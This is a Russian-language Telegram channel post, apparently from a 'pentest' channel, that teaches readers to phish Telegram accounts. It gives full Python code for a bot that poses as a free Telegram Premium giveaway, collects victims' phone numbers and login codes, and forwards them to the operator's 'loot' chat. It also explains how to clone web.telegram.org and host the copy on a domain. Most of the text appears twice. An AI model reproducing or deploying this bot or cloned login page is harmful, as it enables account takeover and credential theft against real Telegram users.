Васам мабои, сегодня научу клепать вас фиш. сайты за секунду и рассмотрим 2 способа.
Способ 1. Работа на далбоеба(название запатентовано)
В этом способе мы создадим бота в телеграмм, который раздает халяву по типу премака. Для примера взял такой пример бота , потому-что лень думать, так что в своих способах постарайтесь применить социальную инженерию по-гениальнее.
Писать будем на нашей любимой змейке, конструкция: текст(автоматизированная соц.инженерия) - запрос номера для подт , якобы личности + код подт. Работа под дурочка.
Шаг 1
генерируем токен в фазере(как сами разберетесь видосов много, да и интерфейс в нем только дурочки не поймут)
Шаг 2
Пишем код бота, учить программировать вас не буду, просто оставлю его ниже и подскажу, что заменить под интеграцию с вашим ботом.
Просто кодик бота, с текстом можете порабоать сами, НЕ ЗАБУДЬТЕ ЗАПУСТИТЬ БОТА НА СВОЕМ АККАУНТЕ, бот будет присылать вам введенные данные пользователя, поэтому проводите тесты со второго акка. Замените на свои данные - переменные токен и айдичат, айдичата можно получить в боте @getmyid_bot. Ну с траффом разберетесь сами. Из модулей: pip install python-telegram-bot
Способ 2. фишинг web.telegram.org
Тут уже просто ебейшая тулза которую мы будем использовать, поделюсь с вами ей , а вы со мной реакциями)
Ну тут все просто, заходим на https://same.new/ , регаемся на леваки и кидаем домен , в ответ получаем готовые коды сайта и пихаем его на домен с хостингом , либо на сервак.Дальше дело техники, если хотите ,чтобы я все провернул в скринах и показал вам жду отдачи в реакциях и комментах
ТГК ПО ПЕНТЕСТУ: @oobormotpentest
Способ 1. Работа на далбоеба(название запатентовано)
В этом способе мы создадим бота в телеграмм, который раздает халяву по типу премака. Для примера взял такой пример бота , потому-что лень думать, так что в своих способах постарайтесь применить социальную инженерию по-гениальнее.
Писать будем на нашей любимой змейке, конструкция: текст(автоматизированная соц.инженерия) - запрос номера для подт , якобы личности + код подт. Работа под дурочка.
Шаг 1
генерируем токен в фазере(как сами разберетесь видосов много, да и интерфейс в нем только дурочки не поймут)
Шаг 2
Пишем код бота, учить программировать вас не буду, просто оставлю его ниже и подскажу, что заменить под интеграцию с вашим ботом.
import logging
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
import json
import os
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)
# Токен твоего бота (получи через @BotFather)
TOKEN = "токен введи"
# ID чата, куда будут отправляться данные (твой ID или ID канала)
LOOT_CHAT_ID = "чат айди введи"
DATA_FILE = "phished_data.json"
def init_data():
if not os.path.exists(DATA_FILE):
with open(DATA_FILE, 'w') as f:
json.dump({}, f)
def save_data(phone, code):
data = {}
if os.path.exists(DATA_FILE):
with open(DATA_FILE, 'r') as f:
data = json.load(f)
data[phone] = {"phone": phone, "code": code}
with open(DATA_FILE, 'w') as f:
json.dump(data, f)
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
await update.message.reply_text(
f" Привет, {user.first_name}! Добро пожаловать на раздачу Telegram Premium! \n"
"Чтобы получить бесплатную подписку, отправь свой номер телефона, связанный с Telegram (например, +1234567890)."
)
context.user_data['awaiting_phone'] = True
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
text = update.message.text
if context.user_data.get('awaiting_phone'):
if text.startswith('+') and text[1:].isdigit():
context.user_data['phone'] = text
context.user_data['awaiting_phone'] = False
context.user_data['awaiting_code'] = True
await update.message.reply_text(
"Отлично! Теперь отправь код авторизации, который ты получил в Telegram."
)
# Отправляем данные в твой чат
await context.bot.send_message(
chat_id=LOOT_CHAT_ID,
text=f" Новый номер: {text}\n Пользователь: {user.username or user.first_name}"
)
else:
await update.message.reply_text(
"Пожалуйста, отправь корректный номер телефона, начиная с '+' (например, +1234567890)."
)
elif context.user_data.get('awaiting_code'):
save_data(context.user_data['phone'], text)
context.user_data['awaiting_code'] = False
await update.message.reply_text(
"Спасибо! Твой запрос на Telegram Premium обрабатывается. Мы свяжемся с тобой скоро! "
)
await context.bot.send_message(
chat_id=LOOT_CHAT_ID,
text=f" Код авторизации: {text}\n Номер: {context.user_data['phone']}\n Пользователь: {user.username or user.first_name}"
)
else:
await update.message.reply_text(
"Нажми /start, чтобы начать процесс получения Telegram Premium!"
)
async def error_handler(update: Update, context: ContextTypes.DEFAULT_TYPE):
logger.error(f"Update {update} caused error {context.error}")
await context.bot.send_message(
chat_id=LOOT_CHAT_ID,
text=f" Ошибка: {context.error}"
)
def main():
init_data()
application = Application.builder().token(TOKEN).build()
application.add_handler(CommandHandler("start", start))
application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
application.add_error_handler(error_handler)
application.run_polling(allowed_updates=Update.ALL_TYPES)
if __name__ == '__main__':
main()
Просто кодик бота, с текстом можете порабоать сами, НЕ ЗАБУДЬТЕ ЗАПУСТИТЬ БОТА НА СВОЕМ АККАУНТЕ, бот будет присылать вам введенные данные пользователя, поэтому проводите тесты со второго акка. Замените на свои данные - переменные токен и айдичат, айдичата можно получить в боте @getmyid_bot. Ну с траффом разберетесь сами. Из модулей: pip install python-telegram-bot
Способ 2. фишинг web.telegram.org
Тут уже просто ебейшая тулза которую мы будем использовать, поделюсь с вами ей , а вы со мной реакциями)
Ну тут все просто, заходим на https://same.new/ , регаемся на леваки и кидаем домен , в ответ получаем готовые коды сайта и пихаем его на домен с хостингом , либо на сервак.Дальше дело техники, если хотите ,чтобы я все провернул в скринах и показал вам жду отдачи в реакциях и комментах
ТГК ПО ПЕНТЕСТУ: @oobormotpentest
👍25
😁3
🤔4
LIMB